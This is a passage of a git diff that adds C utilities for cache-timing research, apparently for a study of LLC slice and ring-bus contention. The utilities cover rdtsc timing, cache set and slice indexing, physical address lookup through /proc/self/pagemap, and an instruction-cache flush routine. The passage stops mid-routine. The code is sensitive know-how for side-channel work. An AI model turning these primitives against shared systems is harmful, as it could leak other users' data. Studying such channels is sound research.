6,5,4,5,4,7,6,1,0,3,2,13,12,15,14,9,8,11,10,20,21,22,23,16,17,18,19,16,3,18,9,24,25,20,15,23,22,21,20,19,18,17,16,1,18,11,16,7,20,25,24,6,7,4,5,2,3,0,1,14,15,12,13,10,11,8,9,2,1,8,11,4,23,24,25,22,23,20,21,18,19,16,17,15,14,13,12,11,10,9,8,7,6,5,4,3,2,1,0,12,13,14,15,8,9,10,11,4,5,6,7,0,1,2,3,3,0,9,10,25,24,23,12,21,20,23,22,17,16,19,18,19,18,17,16,23,22,21,20,17,10,25,24,23,12,21,6,2,3,0,1,6,7,4,5,10,11,8,9,14,15,12,13,1,0,3,2,5,4,7,6,9,8,11,10,13,12,15,14,16,17,18,19,20,21,22,23,24,25,2,1,14,21,4,23,9,8,11,10,13,12,15,14,1,0,3,2,5,4,7,6,24,25,0,19,12,23,6,21,16,17,18,19,20,21,22,23,19,8,25,24,21,14,23,4,19,18,17,16,23,22,21,20,10,11,8,9,14,15,12,13,2,3,0,1,6,7,4,5,4,5,6,7,0,1,2,3,12,13,14,15,8,9,10,11,21,20,23,22,17,16,19,18,1,2,11,8,25,24,21,14,22,23,20,21,18,19,16,17,0,3,10,9,6,21,24,25,7,6,5,4,3,2,1,0,15,14,13,12,11,10,9,8,3,16,9,18,5,22,25,24,23,22,21,20,19,18,17,16,14,15,12,13,10,11,8,9,6,7,4,5,2,3,0,1,13,12,15,14,9,8,11,10,5,4,7,6,1,0,3,2,18,1,16,11,24,25,14,13,20,21,22,23,16,17,18,19,18,19,16,17,22,23,20,21,16,11,24,25,14,13,4,7,3,2,1,0,7,6,5,4,11,10,9,8,15,14,13,12,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,17,16,19,18,21,20,23,22,25,24,3,16,15,12,5,6,10,11,8,9,14,15,12,13,2,3,0,1,6,7,4,5,15,20,25,24,9,18,3,16,19,18,17,16,23,22,21,20,24,25,20,7,8,11,2,1,16,17,18,19,20,21,22,23,9,8,11,10,13,12,15,14,1,0,3,2,5,4,7,6,7,6,5,4,3,2,1,0,15,14,13,12,11,10,9,8,22,23,20,21,18,19,16,17,20,7,22,13,2,1,24,25,21,20,23,22,17,16,19,18,5,22,15,20,25,24,9,10,4,5,6,7,0,1,2,3,12,13,14,15,8,9,10,11,6,21,12,23,24,25,10,17,20,21,22,23,16,17,18,19,13,12,15,14,9,8,11,10,5,4,7,6,1,0,3,2,14,15,12,13,10,11,8,9,6,7,4,5,2,3,0,1,23,4,21,14,17,2,25,24,23,22,21,20,19,18,17,16,17,16,19,18,21,20,23,22,25,24,7,4,19,8,17,2,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,3,2,1,0,7,6,5,4,11,10,9,8,15,14,13,12,18,19,16,17,22,23,20,21,12,15,24,25,10,17,0,19,11,10,9,8,15,14,13,12,3,2,1,0,7,6,5,4,14,13,24,25,8,19,2,17,18,19,16,17,22,23,20,21,25,24,5,6,17,10,19,0,17,16,19,18,21,20,23,22,8,9,10,11,12,13,14,15,0,1,2,3,4,5,6,7,6,7,4,5,2,3,0,1,14,15,12,13,10,11,8,9,23,22,21,20,19,18,17,16,21,6,23,12,19,0,25,24,20,21,22,23,16,17,18,19,4,7,14,13,24,25,8,19,5,4,7,6,1,0,3,2,13,12,15,14,9,8,11,10,7,20,13,22,25,24,11,8,21,20,23,22,17,16,19,18,12,13,14,15,8,9,10,11,4,5,6,7,0,1,2,3,15,14,13,12,11,10,9,8,7,6,5,4,3,2,1,0,22,5,20,15,0,3,24,25,22,23,20,21,18,19,16,17,16,17,18,19,20,21,22,23,24,25,22,5,18,9,16,3,1,0,3,2,5,4,7,6,9,8,11,10,13,12,15,14,2,3,0,1,6,7,4,5,10,11,8,9,14,15,12,13,19,18,17,16,23,22,21,20,13,22,25,24,11,16,1,18,21,20,23,22,17,16,19,18,17,10,19,0,25,24,5,6,4,5,6,7,0,1,2,3,12,13,14,15,8,9,10,11,7,6,5,4,3,2,1,0,15,14,13,12,11,10,9,8,22,23,20,21,18,19,16,17,8,19,2,17,14,21,24,25,24,25,8,19,4,7,14,13,16,17,18,19,20,21,22,23,9,8,11,10,13,12,15,14,1,0,3,2,5,4,7,6,10,11,8,9,14,15,12,13,2,3,0,1,6,7,4,5,19,0,25,24,5,6,15,12,19,18,17,16,23,22,21,20,3,2,1,0,7,6,5,4,11,10,9,8,15,14,13,12,18,19,16,17,22,23,20,21,16,3,24,25,22,5,20,15,17,16,19,18,21,20,23,22,25,24,11,16,7,20,13,22,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,14,15,12,13,10,11,8,9,6,7,4,5,2,3,0,1,11,8,1,2,13,22,25,24,23,22,21,20,19,18,17,16,10,9,0,3,24,25,22,5,20,21,22,23,16,17,18,19,13,12,15,14,9,8,11,10,5,4,7,6,1,0,3,2,20,21,22,23,16,17,18,19,8,11,2,1,24,25,20,7,5,4,7,6,1,0,3,2,13,12,15,14,9,8,11,10,6,7,4,5,2,3,0,1,14,15,12,13,10,11,8,9,23,22,21,20,19,18,17,16,9,10,3,0,15,20,25,24,25,24,9,10,5,22,15,20,17,16,19,18,21,20,23,22,8,9,10,11,12,13,14,15,0,1,2,3,4,5,6,7,11,10,9,8,15,14,13,12,3,2,1,0,7,6,5,4,18,1,24,25,20,7,22,13,18,19,16,17,22,23,20,21,2,3,0,1,6,7,4,5,10,11,8,9,14,15,12,13,19,18,17,16,23,22,21,20,17,2,25,24,7,4,13,14,16,17,18,19,20,21,22,23,24,25,10,17,6,5,12,15,1,0,3,2,5,4,7,6,9,8,11,10,13,12,15,14,15,14,13,12,11,10,9,8,7,6,5,4,3,2,1,0,10,17,0,19,12,23,24,25,22,23,20,21,18,19,16,17,19,8,17,2,25,24,23,4,21,20,23,22,17,16,19,18,12,13,14,15,8,9,10,11,4,5,6,7,0,1,2,3,23,22,21,20,19,18,17,16,21,14,23,4,11,8,25,24,6,7,4,5,2,3,0,1,14,15,12,13,10,11,8,9,5,4,7,6,1,0,3,2,13,12,15,14,9,8,11,10,20,21,22,23,16,17,18,19,12,23,6,21,24,25,0,3,6,21,24,25,0,19,10,17,18,19,16,17,22,23,20,21,11,10,9,8,15,14,13,12,3,2,1,0,7,6,5,4,8,9,10,11,12,13,14,15,0,1,2,3,4,5,6,7,25,24,21,14,17,2,19,8,17,16,19,18,21,20,23,22,1,0,3,2,5,4,7,6,9,8,11,10,13,12,15,14,16,17,18,19,20,21,22,23,24,25,14,13,18,1,16,11,19,18,17,16,23,22,21,20,5,6,25,24,3,16,9,18,2,3,0,1,6,7,4,5,10,11,8,9,14,15,12,13,12,13,14,15,8,9,10,11,4,5,6,7,0,1,2,3,15,12,5,6,25,24,3,16,21,20,23,22,17,16,19,18,22,13,20,7,16,11,24,25,22,23,20,21,18,19,16,17,15,14,13,12,11,10,9,8,7,6,5,4,3,2,1,0,22,23,20,21,18,19,16,17,20,15,22,5,18,9,24,25,7,6,5,4,3,2,1,0,15,14,13,12,11,10,9,8,4,5,6,7,0,1,2,3,12,13,14,15,8,9,10,11,21,20,23,22,17,16,19,18,13,22,7,20,25,24,1,18,7,4,25,24,1,18,11,16,19,18,17,16,23,22,21,20,10,11,8,9,14,15,12,13,2,3,0,1,6,7,4,5,9,8,11,10,13,12,15,14,1,0,3,2,5,4,7,6,24,25,12,15,16,3,18,9,16,17,18,19,20,21,22,23,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,17,16,19,18,21,20,23,22,25,24,23,12,3,0,9,10,18,19,16,17,22,23,20,21,4,23,24,25,2,17,8,19,3,2,1,0,7,6,5,4,11,10,9,8,15,14,13,12,13,12,15,14,9,8,11,10,5,4,7,6,1,0,3,2,14,21,4,23,24,25,2,1,20,21,22,23,16,17,18,19,23,12,21,6,9,10,25,24,23,22,21,20,19,18,17,16,14,15,12,13,10,11,8,9,6,7,4,5,2,3,0,1,19,18,17,16,23,22,21,20,5,22,25,24,3,16,9,18,2,3,0,1,6,7,4,5,10,11,8,9,14,15,12,13,1,0,3,2,5,4,7,6,9,8,11,10,13,12,15,14,16,17,18,19,20,21,22,23,24,25,22,13,18,1,16,11,22,13,20,7,8,11,24,25,22,23,20,21,18,19,16,17,15,14,13,12,11,10,9,8,7,6,5,4,3,2,1,0,12,13,14,15,8,9,10,11,4,5,6,7,0,1,2,3,15,20,5,22,25,24,3,0,21,20,23,22,17,16,19,18,5,4,7,6,1,0,3,2,13,12,15,14,9,8,11,10,20,21,22,23,16,17,18,19,12,15,6,5,24,25,0,19,23,22,21,20,19,18,17,16,21,14,23,4,19,8,25,24,6,7,4,5,2,3,0,1,14,15,12,13,10,11,8,9,8,9,10,11,12,13,14,15,0,1,2,3,4,5,6,7,25,24,13,14,17,2,19,8,17,16,19,18,21,20,23,22,6,5,24,25,0,19,10,17,18,19,16,17,22,23,20,21,11,10,9,8,15,14,13,12,3,2,1,0,7,6,5,4,18,19,16,17,22,23,20,21,4,7,24,25,2,17,8,19,3,2,1,0,7,6,5,4,11,10,9,8,15,14,13,12,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,17,16,19,18,21,20,23,22,25,24,15,12,19,0,17,10,23,12,21,6,17,10,25,24,23,22,21,20,19,18,17,16,14,15,12,13,10,11,8,9,6,7,4,5,2,3,0,1,13,12,15,14,9,8,11,10,5,4,7,6,1,0,3,2,14,21,4,23,24,25,2,17,20,21,22,23,16,17,18,19,4,5,6,7,0,1,2,3,12,13,14,15,8,9,10,11,21,20,23,22,17,16,19,18,13,22,7,20,25,24,1,2,22,23,20,21,18,19,16,17,20,15,22,5,10,9,24,25,7,6,5,4,3,2,1,0,15,14,13,12,11,10,9,8,9,8,11,10,13,12,15,14,1,0,3,2,5,4,7,6,24,25,20,15,0,3,10,9,16,17,18,19,20,21,22,23,7,20,25,24,1,18,11,16,19,18,17,16,23,22,21,20,10,11,8,9,14,15,12,13,2,3,0,1,6,7,4,5,17,16,19,18,21,20,23,22,25,24,11,16,7,4,13,14,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,3,2,1,0,7,6,5,4,11,10,9,8,15,14,13,12,18,19,16,17,22,23,20,21,16,3,24,25,6,5,12,15,18,9,16,3,24,25,6,5,20,21,22,23,16,17,18,19,13,12,15,14,9,8,11,10,5,4,7,6,1,0,3,2,14,15,12,13,10,11,8,9,6,7,4,5,2,3,0,1,11,16,1,18,13,22,25,24,23,22,21,20,19,18,17,16,7,6,5,4,3,2,1,0,15,14,13,12,11,10,9,8,22,23,20,21,18,19,16,17,8,11,2,1,14,21,24,25,21,20,23,22,17,16,19,18,9,10,3,0,25,24,21,6,4,5,6,7,0,1,2,3,12,13,14,15,8,9,10,11,10,11,8,9,14,15,12,13,2,3,0,1,6,7,4,5,19,0,25,24,21,6,23,12,19,18,17,16,23,22,21,20,24,25,8,19,4,23,14,21,16,17,18,19,20,21,22,23,9,8,11,10,13,12,15,14,1,0,3,2,5,4,7,6,16,17,18,19,20,21,22,23,24,25,10,9,6,21,12,23,1,0,3,2,5,4,7,6,9,8,11,10,13,12,15,14,2,3,0,1,6,7,4,5,10,11,8,9,14,15,12,13,19,18,17,16,23,22,21,20,17,2,25,24,23,4,21,14,11,8,1,2,25,24,23,4,21,20,23,22,17,16,19,18,12,13,14,15,8,9,10,11,4,5,6,7,0,1,2,3,15,14,13,12,11,10,9,8,7,6,5,4,3,2,1,0,10,9,0,3,12,23,24,25,22,23,20,21,18,19,16,17,6,7,4,5,2,3,0,1,14,15,12,13,10,11,8,9,23,22,21,20,19,18,17,16,9,18,3,16,15,20,25,24,20,21,22,23,16,17,18,19,16,11,18,1,24,25,20,7,5,4,7,6,1,0,3,2,13,12,15,14,9,8,11,10,11,10,9,8,15,14,13,12,3,2,1,0,7,6,5,4,18,1,24,25,4,7,14,13,18,19,16,17,22,23,20,21,25,24,9,18,5,6,15,12,17,16,19,18,21,20,23,22,8,9,10,11,12,13,14,15,0,1,2,3,4,5,6,7,14,15,12,13,10,11,8,9,6,7,4,5,2,3,0,1,23,4,21,14,1,2,25,24,23,22,21,20,19,18,17,16,6,21,12,23,24,25,10,9,20,21,22,23,16,17,18,19,13,12,15,14,9,8,11,10,5,4,7,6,1,0,3,2,3,2,1,0,7,6,5,4,11,10,9,8,15,14,13,12,18,19,16,17,22,23,20,21,12,23,24,25,10,17,0,19,17,16,19,18,21,20,23,22,25,24,23,4,11,8,1,2,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,24,25,4,7,16,11,18,1,16,17,18,19,20,21,22,23,9,8,11,10,13,12,15,14,1,0,3,2,5,4,7,6,10,11,8,9,14,15,12,13,2,3,0,1,6,7,4,5,15,12,25,24,9,18,3,16,19,18,17,16,23,22,21,20,21,20,23,22,17,16,19,18,5,22,15,20,25,24,9,18,4,5,6,7,0,1,2,3,12,13,14,15,8,9,10,11,7,6,5,4,3,2,1,0,15,14,13,12,11,10,9,8,22,23,20,21,18,19,16,17,20,7,22,13,18,1,24,25,15,14,13,12,11,10,9,8,7,6,5,4,3,2,1,0,22,5,20,15,16,3,24,25,22,23,20,21,18,19,16,17,7,4,13,14,25,24,11,16,21,20,23,22,17,16,19,18,12,13,14,15,8,9,10,11,4,5,6,7,0,1,2,3,2,3,0,1,6,7,4,5,10,11,8,9,14,15,12,13,19,18,17,16,23,22,21,20,13,14,25,24,11,16,1,18,16,17,18,19,20,21,22,23,24,25,6,5,18,9,16,3,1,0,3,2,5,4,7,6,9,8,11,10,13,12,15,14,25,24,21,6,17,10,19,0,17,16,19,18,21,20,23,22,8,9,10,11,12,13,14,15,0,1,2,3,4,5,6,7,11,10,9,8,15,14,13,12,3,2,1,0,7,6,5,4,14,21,24,25,8,19,2,17,18,19,16,17,22,23,20,21,20,21,22,23,16,17,18,19,4,23,14,21,24,25,8,11,5,4,7,6,1,0,3,2,13,12,15,14,9,8,11,10,6,7,4,5,2,3,0,1,14,15,12,13,10,11,8,9,23,22,21,20,19,18,17,16,21,6,23,12,3,0,25,24,12,13,14,15,8,9,10,11,4,5,6,7,0,1,2,3,19,0,17,10,25,24,23,12,21,20,23,22,17,16,19,18,2,17,8,19,4,23,24,25,22,23,20,21,18,19,16,17,15,14,13,12,11,10,9,8,7,6,5,4,3,2,1,0,1,0,3,2,5,4,7,6,9,8,11,10,13,12,15,14,16,17,18,19,20,21,22,23,24,25,2,17,14,13,4,7,19,18,17,16,23,22,21,20,17,10,25,24,15,12,5,6,2,3,0,1,6,7,4,5,10,11,8,9,14,15,12,13,18,9,24,25,20,15,22,5,18,19,16,17,22,23,20,21,11,10,9,8,15,14,13,12,3,2,1,0,7,6,5,4,8,9,10,11,12,13,14,15,0,1,2,3,4,5,6,7,25,24,1,2,13,22,7,20,17,16,19,18,21,20,23,22,23,22,21,20,19,18,17,16,1,2,11,8,7,20,25,24,6,7,4,5,2,3,0,1,14,15,12,13,10,11,8,9,5,4,7,6,1,0,3,2,13,12,15,14,9,8,11,10,20,21,22,23,16,17,18,19,0,3,10,9,24,25,20,15,13,12,15,14,9,8,11,10,5,4,7,6,1,0,3,2,2,1,8,11,24,25,22,13,20,21,22,23,16,17,18,19,3,0,9,10,5,22,25,24,23,22,21,20,19,18,17,16,14,15,12,13,10,11,8,9,6,7,4,5,2,3,0,1,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,17,16,19,18,21,20,23,22,25,24,3,16,15,20,5,22,18,19,16,17,22,23,20,21,16,11,24,25,22,13,20,7,3,2,1,0,7,6,5,4,11,10,9,8,15,14,13,12,19,8,25,24,13,14,7,4,19,18,17,16,23,22,21,20,10,11,8,9,14,15,12,13,2,3,0,1,6,7,4,5,9,8,11,10,13,12,15,14,1,0,3,2,5,4,7,6,24,25,0,19,12,15,6,5,16,17,18,19,20,21,22,23,22,23,20,21,18,19,16,17,0,19,10,17,6,21,24,25,7,6,5,4,3,2,1,0,15,14,13,12,11,10,9,8,4,5,6,7,0,1,2,3,12,13,14,15,8,9,10,11,21,20,23,22,17,16,19,18,17,2,19,8,25,24,13,14, +}; \ No newline at end of file diff --git a/util/util.c b/util/util.c new file mode 100644 index 0000000..884b464 --- /dev/null +++ b/util/util.c @@ -0,0 +1,1255 @@ +#include "util.h" +#include "machine_const.h" +#include "pmon_utils.h" +#include "skx_hash_utils.h" + +#define _GNU_SOURCE + +#include +#include +#include // getpagesize, sysconf +#include +#include // sched_setaffinity +#include + +/* + * To be used to start a timing measurement. + * It returns the current time. + * + * Inspired by: + * https://github.com/google/highwayhash/blob/master/highwayhash/tsc_timer.h + */ +uint64_t start_time(void) +{ + uint64_t t; + asm volatile( + "lfence\n\t" + "rdtsc\n\t" + "shl $32, %%rdx\n\t" + "or %%rdx, %0\n\t" + "lfence" + : "=a"(t) /*output*/ + : + : "rdx", "memory", "cc"); + return t; +} + +/* + * To be used to end a timing measurement. + * It returns the current time. + * + * Inspired by: + * https://github.com/google/highwayhash/blob/master/highwayhash/tsc_timer.h + */ +uint64_t stop_time(void) +{ + uint64_t t; + asm volatile( + "rdtscp\n\t" + "shl $32, %%rdx\n\t" + "or %%rdx, %0\n\t" + "lfence" + : "=a"(t) /*output*/ + : + : "rcx", "rdx", "memory", "cc"); + return t; +} + +/* + * Appends the given string to the linked list which is pointed to by the given head + */ +void append_string_to_linked_list(struct Node **head, void *addr) +{ + struct Node *current = *head; + + // Create the new node to append to the linked list + struct Node *new_node = malloc(sizeof(*new_node)); + new_node->address = addr; + new_node->next = NULL; + + // If the linked list is empty, just make the head to be this new node + if (current == NULL) + *head = new_node; + + // Otherwise, go till the last node and append the new node after it + else { + while (current->next != NULL) + current = current->next; + + current->next = new_node; + } +} + +/* + * The argument addr should be the physical address, but in some cases it can be + * the virtual address and this will still work. Here is why. + * + * Normal pages are 4KB (2^12) in size, meaning that the rightmost 12 bits of + * the virtual address have to be the same in the physical address since they + * are needed as offset for page table in the translation. + * + * Huge pages have a size of 2MB (2^21), meaning that the rightmost 21 bits of + * the virtual address have to be the same in the physical address since they + * are needed as offset for page table in the translation. + * + * Since to find the set in the L1 we only need bits [11-6], then the virtual + * address, either with normal or huge pages, is enough to get the set index. + * + * Since to find the set in the L2 and LLC we only need bits [15-6], then the + * virtual address, with huge pages, is enough to get the set index. + * + * To visually understand why, see the presentations here: + * https://cs.adelaide.edu.au/~yval/Mastik/ + */ +uint64_t get_cache_set_index(uint64_t addr, int cache_level) +{ + uint64_t index; + + if (cache_level == 1) { + index = (addr)&L1_SET_INDEX_MASK; + + } else if (cache_level == 2) { + index = (addr)&L2_SET_INDEX_MASK; + + } else if (cache_level == 3) { + index = (addr)&LLC_SET_INDEX_PER_SLICE_MASK; + + } else { + exit(EXIT_FAILURE); + } + + return index >> CACHE_BLOCK_SIZE_LOG; +} + +uint64_t find_next_address_on_slice_and_set(void *va, uint8_t desired_slice, uint32_t desired_set) +{ + uint64_t offset = 0; + + // Slice mapping will change for each cacheline which is 64 Bytes + // NOTE: We are also ensuring that the addresses are on cache set 2 + // This is because otherwise the next time we run this program we might + // get addresses on different sets and that might impact the latency regardless + // of ring-bus contention. + while (get_cache_set_index((uint64_t)va + offset, 3) != desired_set || + desired_slice != get_cache_slice_index((void *)((uint64_t)va + offset))) { + // printf("Cache slice: %ld\nLLC index: %ld\n", get_cache_slice_index((uint64_t)va + offset), get_cache_set_index((uint64_t)va + offset, 3)); + offset += CACHE_BLOCK_SIZE; + } + return offset; +} + +/** + * Returns a Linux CPU ID located on the specified socket. + */ +int get_cpu_on_socket(int socket) { + if (socket == 0) { + return 0; + } else if (socket == 1) { + return get_active_cpus() - 1; // cpu n-1 is on socket 1 on Unicorn + } else { + printf("ERROR: Cannot get cpu for socket %d. Socket must be 0 or 1\n", socket); + exit(-1); + } +} + +/* + * Get the page frame number + */ +#define GET_BIT(X,Y) (X & ((uint64_t)1<> Y +static uint64_t get_page_frame_number_of_address(void *address) +{ + /* Open the pagemap file for the current process */ + FILE *pagemap = fopen("/proc/self/pagemap", "rb"); + + if (pagemap == NULL) { + perror("Failed to open /proc/self/pagemap"); + exit(1); + } + + /* Seek to the page that the buffer is on */ + uint64_t offset = (uint64_t)((uint64_t)address >> PAGE_SHIFT) * (uint64_t)PAGEMAP_LENGTH; + if (fseek(pagemap, (uint64_t)offset, SEEK_SET) != 0) { + fprintf(stderr, "Failed to seek pagemap to proper location\n"); + exit(1); + } + + /* The page frame number is in bits 0-54 so read the first 8 bytes and clear the upper bits */ + uint64_t page_frame_number = 0; + if (fread(&page_frame_number, 1, PAGEMAP_LENGTH, pagemap) < 0) { + fprintf(stderr, "fread failed\n"); + exit(EXIT_FAILURE); + } + + fclose(pagemap); + + // Check the upper bits to ensure valid pagemap entry + if (GET_BIT(page_frame_number, 63)) { + return page_frame_number & 0x7FFFFFFFFFFFFF; // Mastik uses 0x3FFFFFFFFFFFFF + } else { + printf("pagemap: Page not present\n"); + if (GET_BIT(page_frame_number, 62)) { + printf("pagemap: Page swapped\n"); + } + } + + return 0; +} + +/* + * Get the physical address of a page + */ +uint64_t get_physical_address(void *address) +{ + /* Get page frame number */ + unsigned int page_frame_number = get_page_frame_number_of_address(address); + + /* Find the difference from the buffer to the page boundary */ + uint64_t distance_from_page_boundary = (uint64_t)address % getpagesize(); + + /* Determine how far to seek into memory to find the buffer */ + uint64_t physical_address = (uint64_t)((uint64_t)page_frame_number << PAGE_SHIFT) + (uint64_t)distance_from_page_boundary; + + return physical_address; +} + +/* + * Calculate the slice for a virtual address + */ +uint64_t get_cache_slice_index(void *va) +{ + // return (uint64_t)get_corresponding_cha(va); // old get_cha with pmon counters + return (uint64_t)get_cha_with_hash(va, false); // new get_cha with hash function +} + +void flush_l1i(void) +{ + asm volatile( + R"( + .align 64 + label1: jmp label2 + .align 64 + label2: jmp label3 + .align 64 + label3: jmp label4 + .align 64 + label4: jmp label5 + .align 64 + label5: jmp label6 + .align 64 + label6: jmp label7 + .align 64 + label7: jmp label8 + .align 64 + label8: jmp label9 + .align 64 + label9: jmp label10 + .align 64 + label10: jmp label11 + .align 64 + label11: jmp label12 + .align 64 + label12: jmp label13 + .align 64 + label13: jmp label14 + .align 64 + label14: jmp label15 + .align 64 + label15: jmp label16 + .align 64 + label16: jmp label17 + .align 64 + label17: jmp label18 + .align 64 + label18: jmp label19 + .align 64 + label19: jmp label20 + .align 64 + label20: jmp label21 + .align 64 + label21: jmp label22 + .align 64 + label22: jmp label23 + .align 64 + label23: jmp label24 + .align 64 + label24: jmp label25 + .align 64 + label25: jmp label26 + .align 64 + label26: jmp label27 + .align 64 + label27: jmp label28 + .align 64 + label28: jmp label29 + .align 64 + label29: jmp label30 + .align 64 + label30: jmp label31 + .align 64 + label31: jmp label32 + .align 64 + label32: jmp label33 + .align 64 + label33: jmp label34 + .align 64 + label34: jmp label35 + .align 64 + label35: jmp label36 + .align 64 + label36: jmp label37 + .align 64 + label37: jmp label38 + .align 64 + label38: jmp label39 + .align 64 + label39: jmp label40 + .align 64 + label40: jmp label41 + .align 64 + label41: jmp label42 + .align 64 + label42: jmp label43 + .align 64 + label43: jmp label44 + .align 64 + label44: jmp label45 + .align 64 + label45: jmp label46 + .align 64 + label46: jmp label47 + .align 64 + label47: jmp label48 + .align 64 + label48: jmp label49 + .align 64 + label49: jmp label50 + .align 64 + label50: jmp label51 + .align 64 + label51: jmp label52 + .align 64 + label52: jmp label53 + .align 64 + label53: jmp label54 + .align 64 + label54: jmp label55 + .align 64 + label55: jmp label56 + .align 64 + label56: jmp label57 + .align 64 + label57: jmp label58 + .align 64 + label58: jmp label59 + .align 64 + label59: jmp label60 + .align 64 + label60: jmp label61 + .align 64 + label61: jmp label62 + .align 64 + label62: jmp label63 + .align 64 + label63: jmp label64 + .align 64 + label64: jmp label65 + .align 64 + label65: jmp label66 + .align 64 + label66: jmp label67 + .align 64 + label67: jmp label68 + .align 64 + label68: jmp label69 + .align 64 + label69: jmp label70 + .align 64 + label70: jmp label71 + .align 64 + label71: jmp label72 + .align 64 + label72: jmp label73 + .align 64 + label73: jmp label74 + .align 64 + label74: jmp label75 + .align 64 + label75: jmp label76 + .align 64 + label76: jmp label77 + .align 64 + label77: jmp label78 + .align 64 + label78: jmp label79 + .align 64 + label79: jmp label80 + .align 64 + label80: jmp label81 + .align 64 + label81: jmp label82 + .align 64 + label82: jmp label83 + .align 64 + label83: jmp label84 + .align 64 + label84: jmp label85 + .align 64 + label85: jmp label86 + .align 64 + label86: jmp label87 + .align 64 + label87: jmp label88 + .align 64 + label88: jmp label89 + .align 64 + label89: jmp label90 + .align 64 + label90: jmp label91 + .align 64 + label91: jmp label92 + .align 64 + label92: jmp label93 + .align 64 + label93: jmp label94 + .align 64 + label94: jmp label95 + .align 64 + label95: jmp label96 + .align 64 + label96: jmp label97 + .align 64 + label97: jmp label98 + .align 64 + label98: jmp label99 + .align 64 + label99: jmp label100 + .align 64 + label100: jmp label101 + .align 64 + label101: jmp label102 + .align 64 + label102: jmp label103 + .align 64 + label103: jmp label104 + .align 64 + label104: jmp label105 + .align 64 + label105: jmp label106 + .align 64 + label106: jmp label107 + .align 64 + label107: jmp label108 + .align 64 + label108: jmp label109 + .align 64 + label109: jmp label110 + .align 64 + label110: jmp label111 + .align 64 + label111: jmp label112 + .align 64 + label112: jmp label113 + .align 64 + label113: jmp label114 + .align 64 + label114: jmp label115 + .align 64 + label115: jmp label116 + .align 64 + label116: jmp label117 + .align 64 + label117: jmp label118 + .align 64 + label118: jmp label119 + .align 64 + label119: jmp label120 + .align 64 + label120: jmp label121 + .align 64 + label121: jmp label122 + .align 64 + label122: jmp label123 + .align 64 + label123: jmp label124 + .align 64 + label124: jmp label125 + .align 64 + label125: jmp label126 + .align 64 + label126: jmp label127 + .align 64 + label127: jmp label128 + .align 64 + label128: jmp label129 + .align 64 + label129: jmp label130 + .align 64 + label130: jmp label131 + .align 64 + label131: jmp label132 + .align 64 + label132: jmp label133 + .align 64 + label133: jmp label134 + .align 64 + label134: jmp label135 + .align 64 + label135: jmp label136 + .align 64 + label136: jmp label137 + .align 64 + label137: jmp label138 + .align 64 + label138: jmp label139 + .align 64 + label139: jmp label140 + .align 64 + label140: jmp label141 + .align 64 + label141: jmp label142 + .align 64 + label142: jmp label143 + .align 64 + label143: jmp label144 + .align 64 + label144: jmp label145 + .align 64 + label145: jmp label146 + .align 64 + label146: jmp label147 + .align 64 + label147: jmp label148 + .align 64 + label148: jmp label149 + .align 64 + label149: jmp label150 + .align 64 + label150: jmp label151 + .align 64 + label151: jmp label152 + .align 64 + label152: jmp label153 + .align 64 + label153: jmp label154 + .align 64 + label154: jmp label155 + .align 64 + label155: jmp label156 + .align 64 + label156: jmp label157 + .align 64 + label157: jmp label158 + .align 64 + label158: jmp label159 + .align 64 + label159: jmp label160 + .align 64 + label160: jmp label161 + .align 64 + label161: jmp label162 + .align 64 + label162: jmp label163 + .align 64 + label163: jmp label164 + .align 64 + label164: jmp label165 + .align 64 + label165: jmp label166 + .align 64 + label166: jmp label167 + .align 64 + label167: jmp label168 + .align 64 + label168: jmp label169 + .align 64 + label169: jmp label170 + .align 64 + label170: jmp label171 + .align 64 + label171: jmp label172 + .align 64 + label172: jmp label173 + .align 64 + label173: jmp label174 + .align 64 + label174: jmp label175 + .align 64 + label175: jmp label176 + .align 64 + label176: jmp label177 + .align 64 + label177: jmp label178 + .align 64 + label178: jmp label179 + .align 64 + label179: jmp label180 + .align 64 + label180: jmp label181 + .align 64 + label181: jmp label182 + .align 64 + label182: jmp label183 + .align 64 + label183: jmp label184 + .align 64 + label184: jmp label185 + .align 64 + label185: jmp label186 + .align 64 + label186: jmp label187 + .align 64 + label187: jmp label188 + .align 64 + label188: jmp label189 + .align 64 + label189: jmp label190 + .align 64 + label190: jmp label191 + .align 64 + label191: jmp label192 + .align 64 + label192: jmp label193 + .align 64 + label193: jmp label194 + .align 64 + label194: jmp label195 + .align 64 + label195: jmp label196 + .align 64 + label196: jmp label197 + .align 64 + label197: jmp label198 + .align 64 + label198: jmp label199 + .align 64 + label199: jmp label200 + .align 64 + label200: jmp label201 + .align 64 + label201: jmp label202 + .align 64 + label202: jmp label203 + .align 64 + label203: jmp label204 + .align 64 + label204: jmp label205 + .align 64 + label205: jmp label206 + .align 64 + label206: jmp label207 + .align 64 + label207: jmp label208 + .align 64 + label208: jmp label209 + .align 64 + label209: jmp label210 + .align 64 + label210: jmp label211 + .align 64 + label211: jmp label212 + .align 64 + label212: jmp label213 + .align 64 + label213: jmp label214 + .align 64 + label214: jmp label215 + .align 64 + label215: jmp label216 + .align 64 + label216: jmp label217 + .align 64 + label217: jmp label218 + .align 64 + label218: jmp label219 + .align 64 + label219: jmp label220 + .align 64 + label220: jmp label221 + .align 64 + label221: jmp label222 + .align 64 + label222: jmp label223 + .align 64 + label223: jmp label224 + .align 64 + label224: jmp label225 + .align 64 + label225: jmp label226 + .align 64 + label226: jmp label227 + .align 64 + label227: jmp label228 + .align 64 + label228: jmp label229 + .align 64 + label229: jmp label230 + .align 64 + label230: jmp label231 + .align 64 + label231: jmp label232 + .align 64 + label232: jmp label233 + .align 64 + label233: jmp label234 + .align 64 + label234: jmp label235 + .align 64 + label235: jmp label236 + .align 64 + label236: jmp label237 + .align 64 + label237: jmp label238 + .align 64 + label238: jmp label239 + .align 64 + label239: jmp label240 + .align 64 + label240: jmp label241 + .align 64 + label241: jmp label242 + .align 64 + label242: jmp label243 + .align 64 + label243: jmp label244 + .align 64 + label244: jmp label245 + .align 64 + label245: jmp label246 + .align 64 + label246: jmp label247 + .align 64 + label247: jmp label248 + .align 64 + label248: jmp label249 + .align 64 + label249: jmp label250 + .align 64 + label250: jmp label251 + .align 64 + label251: jmp label252 + .align 64 + label252: jmp label253 + .align 64 + label253: jmp label254 + .align 64 + label254: jmp label255 + .align 64 + label255: jmp 